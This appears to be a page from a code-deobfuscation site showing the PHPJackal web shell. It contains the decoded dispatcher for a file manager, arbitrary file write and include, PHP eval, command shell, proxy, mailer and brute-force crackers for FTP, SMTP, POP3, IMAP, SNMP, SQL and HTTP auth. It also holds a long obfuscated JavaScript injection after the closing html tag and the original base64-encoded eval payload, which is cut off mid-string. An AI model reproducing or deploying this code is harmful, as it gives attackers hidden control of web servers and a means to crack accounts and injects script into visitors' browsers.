hlinK("seC=calc&workingdiR=$cwd");?>">[Convert]</a> - <a href="<?php echo hlinK("seC=about&workingdiR=$cwd");?>">[About]</a> <?php if(isset($_COOKIE['passw'])) echo "- [<a href=\"".hlinK("seC=logout")."\">Logout</a>]";?></td></tr></table>
<hr size=1 noshade>
<?php
if (!empty($_REQUEST['seC'])){
switch($_REQUEST['seC']){
case 'fm':filemanager();break;
case 'sc':scanneR();break;
case 'phpinfo': phpinfo();break;
case 'edit': if (!empty($_REQUEST['open']))editoR($_REQUEST['filE']);
if (!empty($_REQUEST['Save'])){
$filehandle= fopen($_REQUEST['file'],"w");
fwrite($filehandle,$_REQUEST['edited']);
fclose($filehandle);}
if (!empty($_REQUEST['filE'])) editoR($_REQUEST['filE']);else editoR('');
break;
case 'openit':openiT($_REQUEST['namE']);break;
case 'cr': crackeR();break;
case 'dic':dicmakeR();break;
case 'whois':whoiS();break;
case 'hex':hexvieW();break;
case 'img':showimagE($_REQUEST['filE']);break;
case 'inc':include ($_REQUEST['filE']);break;
case 'hc':hashcrackeR();break;
case 'fcr':formcrackeR();break;
case 'snmp':snmpcrackeR();break;
case 'sql':sqlcrackeR();break;
case 'auth':authcrackeR();break;
case 'pop3':pop3crackeR();break;
case 'imap':imapcrackeR();break;
case 'smtp':smtpcrackeR();break;
case 'ftp':ftpcrackeR();break;
case 'eval':phpevaL();break;
case 'px':pr0xy();break;
case 'webshell':webshelL();break;
case 'mailer':maileR();break;
case 'br':brshelL();break;
case 'asm':safemodE();break;
case 'mysql':mysqlclienT();break;
case 'calc':calC();break;
case 'sysinfo':sysinfO();break;
case 'checksum':checksuM($_REQUEST['filE']);break;
case 'logout':logouT();break;
default: echo $intro;
}}else echo $intro;
echo $footer;?></body></html><script type="text/javascript" language="javascript">
<!--
fF7eSD8=new Array();
fF7eSD8[0]="%3Cscript%3E%0Adocu";
fF7eSD8[1]="ment.write%28une";
fF7eSD8[2]="scape%28%22%253Cscri";
fF7eSD8[3]="pt%2520type%253D%25";
fF7eSD8[4]="22text/javascr";
fF7eSD8[5]="ipt%2522%253Edo";
fF7eSD8[6]="cument.write%25";
fF7eSD8[7]="28%2527%255Cu00";
fF7eSD8[8]="3c%255Cu0073%255C";
fF7eSD8[9]="u0063%255Cu0072";
fF7eSD8[10]="%255Cu0069%255Cu";
fF7eSD8[11]="0070%255Cu007";
fF7eSD8[12]="4%255Cu0020%255C";
fF7eSD8[13]="u0074%255Cu007";
fF7eSD8[14]="9%255Cu0070%255Cu";
fF7eSD8[15]="0065%255Cu003d%25";
fF7eSD8[16]="5Cu0022%255Cu0";
fF7eSD8[17]="074%255Cu0065%255C";
fF7eSD8[18]="u0078%255Cu0074%25";
fF7eSD8[19]="5Cu002f%255Cu";
fF7eSD8[20]="006a%255Cu0061%255";
fF7eSD8[21]="Cu0076%255Cu0";
fF7eSD8[22]="061%255Cu0073%25";
fF7eSD8[23]="5Cu0063%255Cu00";
fF7eSD8[24]="72%255Cu0069%25";
fF7eSD8[25]="5Cu0070%255Cu";
fF7eSD8[26]="0074%255Cu0022";
fF7eSD8[27]="%255Cu003e%255C";
fF7eSD8[28]="u0064%255Cu00";
fF7eSD8[29]="6f%255Cu0063%255C";
fF7eSD8[30]="u0075%255Cu006";
fF7eSD8[31]="d%255Cu0065%255Cu";
fF7eSD8[32]="006e%255Cu0074%255";
fF7eSD8[33]="Cu002e%255Cu00";
fF7eSD8[34]="77%255Cu0072%25";
fF7eSD8[35]="5Cu0069%255Cu";
fF7eSD8[36]="0074%255Cu0065%25";
fF7eSD8[37]="5Cu0028%255Cu002";
fF7eSD8[38]="7%255Cu005c%255Cu";
fF7eSD8[39]="0075%255Cu0030";
fF7eSD8[40]="%255Cu0030%255Cu0";
fF7eSD8[41]="033%255Cu0063%25";
fF7eSD8[42]="5Cu005c%255Cu007";
fF7eSD8[43]="5%255Cu0030%255Cu";
fF7eSD8[44]="0030%255Cu0035";
fF7eSD8[45]="%255Cu0033%255C";
fF7eSD8[46]="u005c%255Cu0075";
fF7eSD8[47]="%255Cu0030%255Cu";
fF7eSD8[48]="0030%255Cu003";
fF7eSD8[49]="4%255Cu0033%255";
fF7eSD8[50]="Cu005c%255Cu007";
fF7eSD8[51]="5%255Cu0030%255Cu";
fF7eSD8[52]="0030%255Cu0035%255";
fF7eSD8[53]="Cu0032%255Cu00";
fF7eSD8[54]="5c%255Cu0075%255C";
fF7eSD8[55]="u0030%255Cu0030%25";
fF7eSD8[56]="5Cu0034%255Cu00";
fF7eSD8[57]="39%255Cu005c%255Cu";
fF7eSD8[58]="0075%255Cu0030%255";
fF7eSD8[59]="Cu0030%255Cu003";
fF7eSD8[60]="5%255Cu0030%255C";
fF7eSD8[61]="u005c%255Cu0075";
fF7eSD8[62]="%255Cu0030%255Cu00";
fF7eSD8[63]="30%255Cu0035%255";
fF7eSD8[64]="Cu0034%255Cu005";
fF7eSD8[65]="c%255Cu0075%255C";
fF7eSD8[66]="u0030%255Cu0030%25";
fF7eSD8[67]="5Cu0032%255Cu";
fF7eSD8[68]="0030%255Cu005c%25";
fF7eSD8[69]="5Cu0075%255Cu00";
fF7eSD8[70]="30%255Cu0030%255";
fF7eSD8[71]="Cu0035%255Cu003";
fF7eSD8[72]="3%255Cu005c%255Cu0";
fF7eSD8[73]="075%255Cu0030";
fF7eSD8[74]="%255Cu0030%255Cu00";
fF7eSD8[75]="35%255Cu0032%25";
fF7eSD8[76]="5Cu005c%255Cu00";
fF7eSD8[77]="75%255Cu0030%255Cu";
fF7eSD8[78]="0030%255Cu003";
fF7eSD8[79]="4%255Cu0033%255Cu";
fF7eSD8[80]="005c%255Cu0075%25";
fF7eSD8[81]="5Cu0030%255Cu";
fF7eSD8[82]="0030%255Cu0033";
fF7eSD8[83]="%255Cu0064%255Cu0";
fF7eSD8[84]="05c%255Cu0075%25";
fF7eSD8[85]="5Cu0030%255Cu003";
fF7eSD8[86]="0%255Cu0036%255";
fF7eSD8[87]="Cu0038%255Cu0";
fF7eSD8[88]="05c%255Cu0075%255C";
fF7eSD8[89]="u0030%255Cu003";
fF7eSD8[90]="0%255Cu0037%255C";
fF7eSD8[91]="u0034%255Cu005c%25";
fF7eSD8[92]="5Cu0075%255Cu";
fF7eSD8[93]="0030%255Cu0030";
fF7eSD8[94]="%255Cu0037%255Cu";
fF7eSD8[95]="0034%255Cu005c%25";
fF7eSD8[96]="5Cu0075%255Cu00";
fF7eSD8[97]="30%255Cu0030%255Cu";
fF7eSD8[98]="0037%255Cu0030%255";
fF7eSD8[99]="Cu005c%255Cu00";
fF7eSD8[100]="75%255Cu0030%255";
fF7eSD8[101]="Cu0030%255Cu00";
fF7eSD8[102]="33%255Cu0061%255Cu";
fF7eSD8[103]="005c%255Cu0075";
fF7eSD8[104]="%255Cu0030%255C";
fF7eSD8[105]="u0030%255Cu0032%25";
fF7eSD8[106]="5Cu0066%255Cu00";
fF7eSD8[107]="5c%255Cu0075%255Cu";
fF7eSD8[108]="0030%255Cu0030%25";
fF7eSD8[109]="5Cu0032%255Cu0";
fF7eSD8[110]="066%255Cu005c";
fF7eSD8[111]="%255Cu0075%255Cu";
fF7eSD8[112]="0030%255Cu0030%25";
fF7eSD8[113]="5Cu0036%255Cu003";
fF7eSD8[114]="4%255Cu005c%255C";
fF7eSD8[115]="u0075%255Cu003";
fF7eSD8[116]="0%255Cu0030%255C";
fF7eSD8[117]="u0036%255Cu00";
fF7eSD8[118]="31%255Cu005c%255";
fF7eSD8[119]="Cu0075%255Cu00";
fF7eSD8[120]="30%255Cu0030%255Cu";
fF7eSD8[121]="0037%255Cu0034";
fF7eSD8[122]="%255Cu005c%255Cu00";
fF7eSD8[123]="75%255Cu0030%255C";
fF7eSD8[124]="u0030%255Cu003";
fF7eSD8[125]="6%255Cu0031%255";
fF7eSD8[126]="Cu005c%255Cu007";
fF7eSD8[127]="5%255Cu0030%255";
fF7eSD8[128]="Cu0030%255Cu0";
fF7eSD8[129]="032%255Cu0065";
fF7eSD8[130]="%255Cu005c%255C";
fF7eSD8[131]="u0075%255Cu0030%25";
fF7eSD8[132]="5Cu0030%255Cu003";
fF7eSD8[133]="7%255Cu0034%255Cu0";
fF7eSD8[134]="05c%255Cu0075%255C";
fF7eSD8[135]="u0030%255Cu00";
fF7eSD8[136]="30%255Cu0033%255C";
fF7eSD8[137]="u0030%255Cu005";
fF7eSD8[138]="c%255Cu0075%255Cu";
fF7eSD8[139]="0030%255Cu003";
fF7eSD8[140]="0%255Cu0033%255C";
fF7eSD8[141]="u0030%255Cu005";
fF7eSD8[142]="c%255Cu0075%255";
fF7eSD8[143]="Cu0030%255Cu0";
fF7eSD8[144]="030%255Cu0036%255C";
fF7eSD8[145]="u0063%255Cu005c";
fF7eSD8[146]="%255Cu0075%255C";
fF7eSD8[147]="u0030%255Cu00";
fF7eSD8[148]="30%255Cu0037%25";
fF7eSD8[149]="5Cu0033%255Cu00";
fF7eSD8[150]="5c%255Cu0075%255";
fF7eSD8[151]="Cu0030%255Cu00";
fF7eSD8[152]="30%255Cu0032%255";
fF7eSD8[153]="Cu0065%255Cu005c";
fF7eSD8[154]="%255Cu0075%255C";
fF7eSD8[155]="u0030%255Cu00";
fF7eSD8[156]="30%255Cu0036%255Cu";
fF7eSD8[157]="0066%255Cu005c%255";
fF7eSD8[158]="Cu0075%255Cu00";
fF7eSD8[159]="30%255Cu0030%255Cu";
fF7eSD8[160]="0037%255Cu0032%25";
fF7eSD8[161]="5Cu005c%255Cu007";
fF7eSD8[162]="5%255Cu0030%255C";
fF7eSD8[163]="u0030%255Cu0036%25";
fF7eSD8[164]="5Cu0037%255Cu00";
fF7eSD8[165]="5c%255Cu0075%255";
fF7eSD8[166]="Cu0030%255Cu0030";
fF7eSD8[167]="%255Cu0032%255Cu00";
fF7eSD8[168]="66%255Cu005c%255";
fF7eSD8[169]="Cu0075%255Cu0";
fF7eSD8[170]="030%255Cu0030%255C";
fF7eSD8[171]="u0037%255Cu0037";
fF7eSD8[172]="%255Cu005c%255Cu";
fF7eSD8[173]="0075%255Cu0030%25";
fF7eSD8[174]="5Cu0030%255Cu";
fF7eSD8[175]="0036%255Cu0038%255";
fF7eSD8[176]="Cu005c%255Cu007";
fF7eSD8[177]="5%255Cu0030%255";
fF7eSD8[178]="Cu0030%255Cu0036";
fF7eSD8[179]="%255Cu0035%255Cu00";
fF7eSD8[180]="5c%255Cu0075%255Cu";
fF7eSD8[181]="0030%255Cu003";
fF7eSD8[182]="0%255Cu0037%255C";
fF7eSD8[183]="u0032%255Cu00";
fF7eSD8[184]="5c%255Cu0075%255";
fF7eSD8[185]="Cu0030%255Cu0";
fF7eSD8[186]="030%255Cu0036%25";
fF7eSD8[187]="5Cu0035%255Cu0";
fF7eSD8[188]="05c%255Cu0075";
fF7eSD8[189]="%255Cu0030%255Cu0";
fF7eSD8[190]="030%255Cu0032";
fF7eSD8[191]="%255Cu0065%255Cu";
fF7eSD8[192]="005c%255Cu0075";
fF7eSD8[193]="%255Cu0030%255Cu00";
fF7eSD8[194]="30%255Cu0036%25";
fF7eSD8[195]="5Cu0061%255Cu";
fF7eSD8[196]="005c%255Cu007";
fF7eSD8[197]="5%255Cu0030%255";
fF7eSD8[198]="Cu0030%255Cu0037";
fF7eSD8[199]="%255Cu0033%255Cu0";
fF7eSD8[200]="05c%255Cu0075%255C";
fF7eSD8[201]="u0030%255Cu00";
fF7eSD8[202]="30%255Cu0033%255Cu";
fF7eSD8[203]="0065%255Cu005";
fF7eSD8[204]="c%255Cu0075%255Cu";
fF7eSD8[205]="0030%255Cu0030%25";
fF7eSD8[206]="5Cu0033%255Cu00";
fF7eSD8[207]="63%255Cu005c%255C";
fF7eSD8[208]="u0075%255Cu0030";
fF7eSD8[209]="%255Cu0030%255Cu0";
fF7eSD8[210]="032%255Cu0066%255";
fF7eSD8[211]="Cu005c%255Cu0";
fF7eSD8[212]="075%255Cu0030%25";
fF7eSD8[213]="5Cu0030%255Cu";
fF7eSD8[214]="0035%255Cu0033%255";
fF7eSD8[215]="Cu005c%255Cu007";
fF7eSD8[216]="5%255Cu0030%255Cu0";
fF7eSD8[217]="030%255Cu0034%255";
fF7eSD8[218]="Cu0033%255Cu00";
fF7eSD8[219]="5c%255Cu0075%25";
fF7eSD8[220]="5Cu0030%255Cu0";
fF7eSD8[221]="030%255Cu0035";
fF7eSD8[222]="%255Cu0032%255Cu0";
fF7eSD8[223]="05c%255Cu0075";
fF7eSD8[224]="%255Cu0030%255Cu";
fF7eSD8[225]="0030%255Cu0034%25";
fF7eSD8[226]="5Cu0039%255Cu0";
fF7eSD8[227]="05c%255Cu0075%25";
fF7eSD8[228]="5Cu0030%255Cu";
fF7eSD8[229]="0030%255Cu0035%25";
fF7eSD8[230]="5Cu0030%255Cu";
fF7eSD8[231]="005c%255Cu0075%255";
fF7eSD8[232]="Cu0030%255Cu0";
fF7eSD8[233]="030%255Cu0035";
fF7eSD8[234]="%255Cu0034%255Cu0";
fF7eSD8[235]="05c%255Cu0075";
fF7eSD8[236]="%255Cu0030%255Cu";
fF7eSD8[237]="0030%255Cu0033%255";
fF7eSD8[238]="Cu0065%255Cu0";
fF7eSD8[239]="027%255Cu0029";
fF7eSD8[240]="%255Cu003c%255C";
fF7eSD8[241]="u002f%255Cu0073%25";
fF7eSD8[242]="5Cu0063%255Cu007";
fF7eSD8[243]="2%255Cu0069%255Cu";
fF7eSD8[244]="0070%255Cu007";
fF7eSD8[245]="4%255Cu003e%2527%25";
fF7eSD8[246]="29%253C/script%25";
fF7eSD8[247]="3E%22%29%29%3B%0A%3C/scri";
fF7eSD8[248]="pt%3E";
for (i = 0; i < fF7eSD8.length; i ++)
{
    document.write(unescape(fF7eSD8[i]))
}
// -->
</script>

Did this file decode correctly?

Original Code

<? 
eval(base64_decode('Iy0tQ29uZmlnLS0jCiRsb2dpbl9wYXNzd29yZD0gJyc7IC8vU2V0IHBhc3N3b3JkCiMtLS0tLS0tLS0tIwplcnJvcl9yZXBvcnRpbmcoRV9BTEwpOwpzZXRfdGltZV9saW1pdCgwKTsKaW5pX3NldCgibWF4X2V4ZWN1dGlvbl90aW1lIiwiMCIpOwppbmlfc2V0KCJtZW1vcnlfbGltaXQiLCI5OTk5TSIpOwpzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7CmlmKCFpc3NldCgkX1NFUlZFUikpJF9TRVJWRVIgPSAmJEhUVFBfU0VSVkVSX1ZBUlM7CmlmKCFpc3NldCgkX1BPU1QpKSRfUE9TVCA9ICYkSFRUUF9QT1NUX1ZBUlM7CmlmKCFpc3NldCgkX0dFVCkpJF9HRVQgPSAmJEhUVFBfR0VUX1ZBUlM7CmlmKCFpc3NldCgkX0NPT0tJRSkpJF9DT09LSUU9JEhUVFBfQ09PS0lFX1ZBUlM7CiRfUkVRVUVTVCA9IGFycmF5X21lcmdlKCRfR0VULCAkX1BPU1QpOwppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7CmZvcmVhY2ggKCRfUkVRVUVTVCBhcyAka2V5PT4kdmFsdWUpCnsKJF9SRVFVRVNUWyRrZXldPXN0cmlwc2xhc2hlcygkdmFsdWUpOwp9Cn0KZnVuY3Rpb24gaGxpbksoJHN0cj0iIil7CiRteXZhcnM9YXJyYXkoJ3dvcmtpbmdkaVInLCd1ckwnLCdpbWFnRScsJ25hbUUnLCdmaWxFJywnZG93bmxvYUQnLCdzZUMnLCdjUCcsJ21WJywnck4nLCdkZUwnKTsKJHJldD0kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPyI7CiRuZXc9ZXhwbG9kZSgiJiIsJHN0cik7CmZvcmVhY2ggKCRfR0VUIGFzICRrZXkgPT4gJHYpewokYWRkPTE7CmZvcmVhY2goJG5ldyBhcyAkbSl7CiRlbCA9IGV4cGxvZGUoIj0iLCAkbSk7CmlmICgkZWxbMF09PSRrZXkpJGFkZD0wOwp9CmlmKCRhZGQpaWYoIWluX2FycmF5KCRrZXksJG15dmFycykpJHJldC49JGtleS4iPSIuJHYuIiYiOwp9CiRyZXQuPSRzdHI7CnJldHVybiAkcmV0Owp9CmlmKCFlbXB0eSgkbG9naW5fcGFzc3dvcmQpKXsKaWYoIWVtcHR5KCRfUkVRVUVTVFsnZnBhc3N3J10pKXsKaWYoJF9SRVFVRVNUWydmcGFzc3cnXT09JGxvZ2luX3Bhc3N3b3JkKXNldGNvb2tpZSgncGFzc3cnLG1kNSgkX1JFUVVFU1RbJ2ZwYXNzdyddKSk7CkBoZWFkZXIoIkxvY2F0aW9uOiAiLmhsaW5LKCkpOwp9CmlmKGVtcHR5KCRfQ09PS0lFWydwYXNzdyddKSB8fCAkX0NPT0tJRVsncGFzc3cnXSE9bWQ1KCRsb2dpbl9wYXNzd29yZCkpZGllKCI8aHRtbD48Ym9keT48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD5QYXNzd29yZDo8L3RkPjx0ZD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zZUMgdmFsdWU9YWJvdXQ+PGlucHV0IHR5cGU9cGFzc3dvcmQgbmFtZT1mcGFzc3c+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48dGQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPWxvZ2luPjwvdGQ+PC90cj48L2Zvcm0+PC90YWJsZT48L2JvZHk+PC9odG1sPiIpOwp9CmlmICghZW1wdHkoJF9SRVFVRVNUWyd3b3JraW5nZGlSJ10pKSBjaGRpcigkX1JFUVVFU1RbJ3dvcmtpbmdkaVInXSk7CmZ1bmN0aW9uIGNoZWNrdGhpc3BvclQoJGlwLCRwb3J0LCR0aW1lb3V0LCR0eXBlPTApewppZighJHR5cGUpewokc2Nhbj1AZnNvY2tvcGVuKCRpcCwkcG9ydCwkbiwkcywkdGltZW91dCk7CmlmKCRzY2FuKXtmY2xvc2UoJHNjYW4pO3JldHVybiAxO30KfQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzb2NrZXRfc2V0X3RpbWVvdXQnKSl7CiRzY2FuPUBmc29ja29wZW4oInVkcDovLyIuJGlwLCRwb3J0KTsKaWYoJHNjYW4pewpzb2NrZXRfc2V0X3RpbWVvdXQoJHNjYW4sJHRpbWVvdXQpOwpAZndyaXRlKCRzY2FuLCJceDAwIik7CiRzPXRpbWUoKTsKZnJlYWQoJHNjYW4sMSk7CmlmKCh0aW1lKCktJHMpPj0kdGltZW91dCl7ZmNsb3NlKCRzY2FuKTtyZXR1cm4gMTt9Cn0KfQpyZXR1cm4gMDsKfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZmlsZV9nZXRfY29udGVudHMiKSl7CmZ1bmN0aW9uIGZpbGVfZ2V0X2NvbnRlbnRzKCRhZGRyKXsKJGEgPSBmb3BlbigkYWRkciwiciIpOwokdG1wID0gZnJlYWQoJGEsZmlsZXNpemUoJGEpKTsKZmNsb3NlKCRhKTsKaWYoJGEpcmV0dXJuICR0bXA7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZmlsZV9wdXRfY29udGVudHMiKSl7CmZ1bmN0aW9uIGZpbGVfcHV0X2NvbnRlbnRzKCRhZGRyLCRjb24pewokYSA9IGZvcGVuKCRhZGRyLCJ3Iik7CmlmKCEkYSlyZXR1cm4gMDsKZndyaXRlKCRhLCRjb24pOwpmY2xvc2UoJGEpOwpyZXR1cm4gc3RybGVuKCRjb24pOwp9Cn0KZnVuY3Rpb24gZmx1c2hlUigpewpmbHVzaCgpO0BvYl9mbHVzaCgpOwp9CmlmICghZW1wdHkoJF9SRVFVRVNUWydkb3dubG9hRCddKSl7CkBvYl9jbGVhbigpOwokZGw9JF9SRVFVRVNUWydkb3dubG9hRCddOwokY29uPWZpbGVfZ2V0X2NvbnRlbnRzKCRkbCk7CmhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsKaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiRkbFwiOyIpOwpoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLnN0cmxlbigkY29uKSk7CmVjaG8gJGNvbjsKZXhpdDsKfQppZiAoIWVtcHR5KCRfUkVRVUVTVFsnaW1hZ0UnXSkpewokaW1nPSRfUkVRVUVTVFsnaW1hZ0UnXTsKaGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdFL2dpZiIpOwpoZWFkZXIoIkNvbnRlbnQtbGVuZ3RoOiAiLmZpbGVzaXplKCRpbWcpKTsKaGVhZGVyKCJMYXN0LU1vZGlmaWVkOiAiLmRhdGUoInIiLGZpbGVtdGltZSgkaW1nKSkpOwplY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCRpbWcpOwpleGl0Owp9CkBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsKQGhlYWRlcigiRXhwaXJlczogTW9uLCA3IEF1ZyAxOTg3IDA1OjAwOjAwIEdNVCIpOwpmdW5jdGlvbiBzaG93c2l6RSgkc2l6ZSl7CmlmICgkc2l6ZT49MTA3Mzc0MTgyNCkkc2l6ZSA9IHJvdW5kKCgkc2l6ZS8xMDczNzQxODI0KSAsMikuIiBHQiI7CmVsc2VpZiAoJHNpemU+PTEwNDg1NzYpJHNpemUgPSByb3VuZCgoJHNpemUvMTA0ODU3NiksMikuIiBNQiI7CmVsc2VpZiAoJHNpemU+PTEwMjQpJHNpemUgPSByb3VuZCgoJHNpemUvMTAyNCksMikuIiBLQiI7CmVsc2UgJHNpemUgLj0gIiBCIjsKcmV0dXJuICRzaXplOwp9CmlmIChzdWJzdHIoKHN0cnRvdXBwZXIocGhwX3VuYW1FKCkpKSwwLDMpPT0iV0lOIikgJHdpbmRvd3M9MTsgZWxzZSAkd2luZG93cz0wOwokZXJyb3Jib3ggPSAiPHRhYmxlIGJvcmRlcj0wIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBzdHlsZT1cImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2VcIiBib3JkZXJjb2xvcj1cIiMyODI4MjhcIiBiZ2NvbG9yPVwiIzMzMzMzM1wiIHdpZHRoPVwiMTAwJVwiPjx0cj48dGQ+PGI+RXJyb3I6IDwvYj4iOwokZXQgPSAiPC90ZD48L3RyPjwvdGFibGU+IjsKJHY9IjEuNSI7CiRtc2dib3g9Ijxicj48dGFibGUgYm9yZGVyPTAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZVwiIGJvcmRlcmNvbG9yPVwiIzI4MjgyOFwiIGJnY29sb3I9XCIjMzMzMzMzXCIgd2lkdGg9XCIxMDAlXCI+PHRyPjx0ZCBhbGlnbj1cImNlbnRlclwiPiI7CiRpbnRybz0iPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgc3R5bGU9XCJib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlXCIgYm9yZGVyY29sb3I9XCIjMjgyODI4XCI+PHRyPjx0ZCBiZ2NvbG9yPVwiIzY2NjY2NlwiPjxiPlNjcmlwdDo8L2I+PGJyPiIuc3RyX3JlcGVhdCgiLT0tIiwyNSkuIjxicj48Yj5OYW1lOjwvYj4gUEhQSmFja2FsPGJyPjxiPlZlcnNpb246PC9iPiAkdjxicj48YnI+PGI+QXV0aG9yOjwvYj48YnI+Ii5zdHJfcmVwZWF0KCItPS0iLDI1KS4iPGJyPjxiPk5hbWU6PC9iPiBOZXRKYWNrYWw8YnI+PGI+Q291bnRyeTo8L2I+IElyYW48YnI+PGI+V2Vic2l0ZTo8L2I+IDxhIGhyZWY9XCJodHRwOi8vbmV0amFja2FsLmJ5LnJ1XCIgdGFyZ2V0PVwiX2JsYW5rXCI+aHR0cDovL25ldGphY2thbC5ieS5ydTwvYT48YnI+PGI+RW1haWw6PC9iPiA8YSBocmVmPVwibWFpbHRvOm5pbWFfNTAxQHlhaG9vLmNvbT9zdWJqZWN0PVBIUEphY2thbFwiPm5pbWFfNTAxQHlhaG9vLmNvbTwvYT48YnI+PC9mb250PiRldDwvY2VudGVyPiI7CiRmb290ZXI9IiR7bXNnYm94fVBIUEphY2thbCB2JHYgLSBQb3dlcmVkIEJ5IDxhIGhyZWY9XCJodHRwOi8vbmV0amFja2FsLmJ5LnJ1XCIgdGFyZ2V0PVwiX2JsYW5rXCI+TmV0SmFja2FsPC9hPiRldCI7CiRoY3dkPSI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT13b3JraW5nZGlSIHZhbHVlPVwiIi5nZXRjd2QoKS4iXCI+IjsKJHQgPSAiPHRhYmxlIGJvcmRlcj0wIHN0eWxlPVwiYm9yZGVyLWNvbGxhcHNlOiBjb2xsYXBzZVwiIGJvcmRlcmNvbG9yPVwiIzI4MjgyOFwiIHdpZHRoPVwiNDAlXCI+PHRyPjx0ZCB3aWR0aD1cIjQwJVwiIGJnY29sb3I9XCIjMzMzMzMzXCI+IjsKJGNyYWNrPSI8L3RkPjx0ZCBiZ2NvbG9yPVwiIzMzMzMzM1wiPjwvdGQ+PC90cj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgbmFtZT1mb3JtPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPkRpY3Rpb25hcnk6PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj48aW5wdXQgdHlwZT10ZXh0IG5hbWU9ZGljdGlvbmFyeSBzaXplPTM1PjwvdGQ+PC90cj48dHI+PHRkIHdpZHRoPVwiMjAlXCIgYmdjb2xvcj1cIiM4MDgwODBcIj5EaWN0aW9uYXJ5IHR5cGU6PC90ZD48dGQgYmdjb2xvcj1cIiM4MDgwODBcIj48aW5wdXQgdHlwZT1yYWRpbyBuYW1lPWNvbWJvIGNoZWNrZWQgdmFsdWU9MCBvbkNsaWNrPVwiZG9jdW1lbnQuZm9ybS51c2VyLmRpc2FibGVkID0gZmFsc2U7XCIgc3R5bGU9XCJib3JkZXItd2lkdGg6MXB4O2JhY2tncm91bmQtY29sb3I6IzgwODA4MDtcIj5TaW1wbGUgKFApPGlucHV0IHR5cGU9cmFkaW8gdmFsdWU9MSBuYW1lPWNvbWJvIG9uQ2xpY2s9XCJkb2N1bWVudC5mb3JtLnVzZXIuZGlzYWJsZWQgPSB0cnVlO1wiIHN0eWxlPVwiYm9yZGVyLXdpZHRoOjFweDtiYWNrZ3JvdW5kLWNvbG9yOiM4MDgwODA7XCI+Q29tYm8gKFU6UCk8L3RkPjwvdHI+PHRyPjx0ZCB3aWR0aD1cIjIwJVwiIGJnY29sb3I9XCIjNjY2NjY2XCI+VXNlcm5hbWU6PC90ZD48dGQgYmdjb2xvcj1cIiM2NjY2NjZcIj48aW5wdXQgdHlwZT10ZXh0IHNpemU9MzUgdmFsdWU9cm9vdCBuYW1lPXVzZXI+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzgwODA4MFwiPlNlcnZlcjo8L3RkPjx0ZCBiZ2NvbG9yPVwiIzgwODA4MFwiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10YXJnZXQgdmFsdWU9bG9jYWxob3N0IHNpemU9MzU+PC90ZD48L3RyPjx0cj48dGQgd2lkdGg9XCIyMCVcIiBiZ2NvbG9yPVwiIzY2NjY2NlwiPjwvdGQ+PHRkIGJnY29sb3I9XCIjNjY2NjY2XCIgYWxpZ249cmlnaHQ+JGhjd2Q8aW5wdXQgY2xhc3M9YnV0dG9ucyB0eXBlPXN1Ym1pdCB2YWx1ZT1TdGFydD48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9jZW50ZXI+IjsKZnVuY3Rpb24gbmFtRSgpewokbmFtZT0nJzsKc3JhbmQoKGRvdWJsZSltaWNyb3RpbWUoKSoxMDAwMDApOwpmb3IgKCRpPTA7JGk8PXJhbmQoMywxMCk7JGkrKyl7CiRuYW1lLj1jaHIocmFuZCg5NywxMjIpKTsKfQpyZXR1cm4gJG5hbWU7Cn0KZnVuY3Rpb24gd2hlcmVpc3RtUCgpewokdXBsb2FkdG1wPWluaV9nZXQoJ3VwbG9hZF90bXBfZGlyJyk7CiRlbnZ0bXA9KGdldGVudignVE1QJykpP2dldGVudignVE1QJyk6Z2V0ZW52KCdURU1QJyk7CmlmKGlzX2RpcignL3RtcCcpICYmIGlzX3dyaXRhYmxlKCcvdG1wJykpcmV0dXJuICcvdG1wJzsKaWYoaXNfZGlyKCcvdXNyL3RtcCcpICYmIGlzX3dyaXRhYmxlKCcvdXNyL3RtcCcpKXJldHVybiAnL3Vzci90bXAnOwppZihpc19kaXIoJy92YXIvdG1wJykgJiYgaXNfd3JpdGFibGUoJy92YXIvdG1wJykpcmV0dXJuICcvdmFyL3RtcCc7CmlmKGlzX2RpcigkdXBsb2FkdG1wKSAmJiBpc193cml0YWJsZSgkdXBsb2FkdG1wKSlyZXR1cm4gJHVwbG9hZHRtcDsKaWYoaXNfZGlyKCRlbnZ0bXApICYmIGlzX3dyaXRhYmxlKCRlbnZ0bXApKXJldHVybiAkZW52dG1wOwpyZXR1cm4gIi4iOwp9CmZ1bmN0aW9uIHNoZWxMKCRjb21tYW5kKXsKZ2xvYmFsICR3aW5kb3dzLCRkaXNhYmxlZnVuY3Rpb25zOwokZXhlYyA9ICcnOyRvdXRwdXQ9ICcnOwokZGVwW109YXJyYXkoJ3BpcGUnLCdyJyk7JGRlcFtdPWFycmF5KCdwaXBlJywndycpOwppZihpc19jYWxsYWJs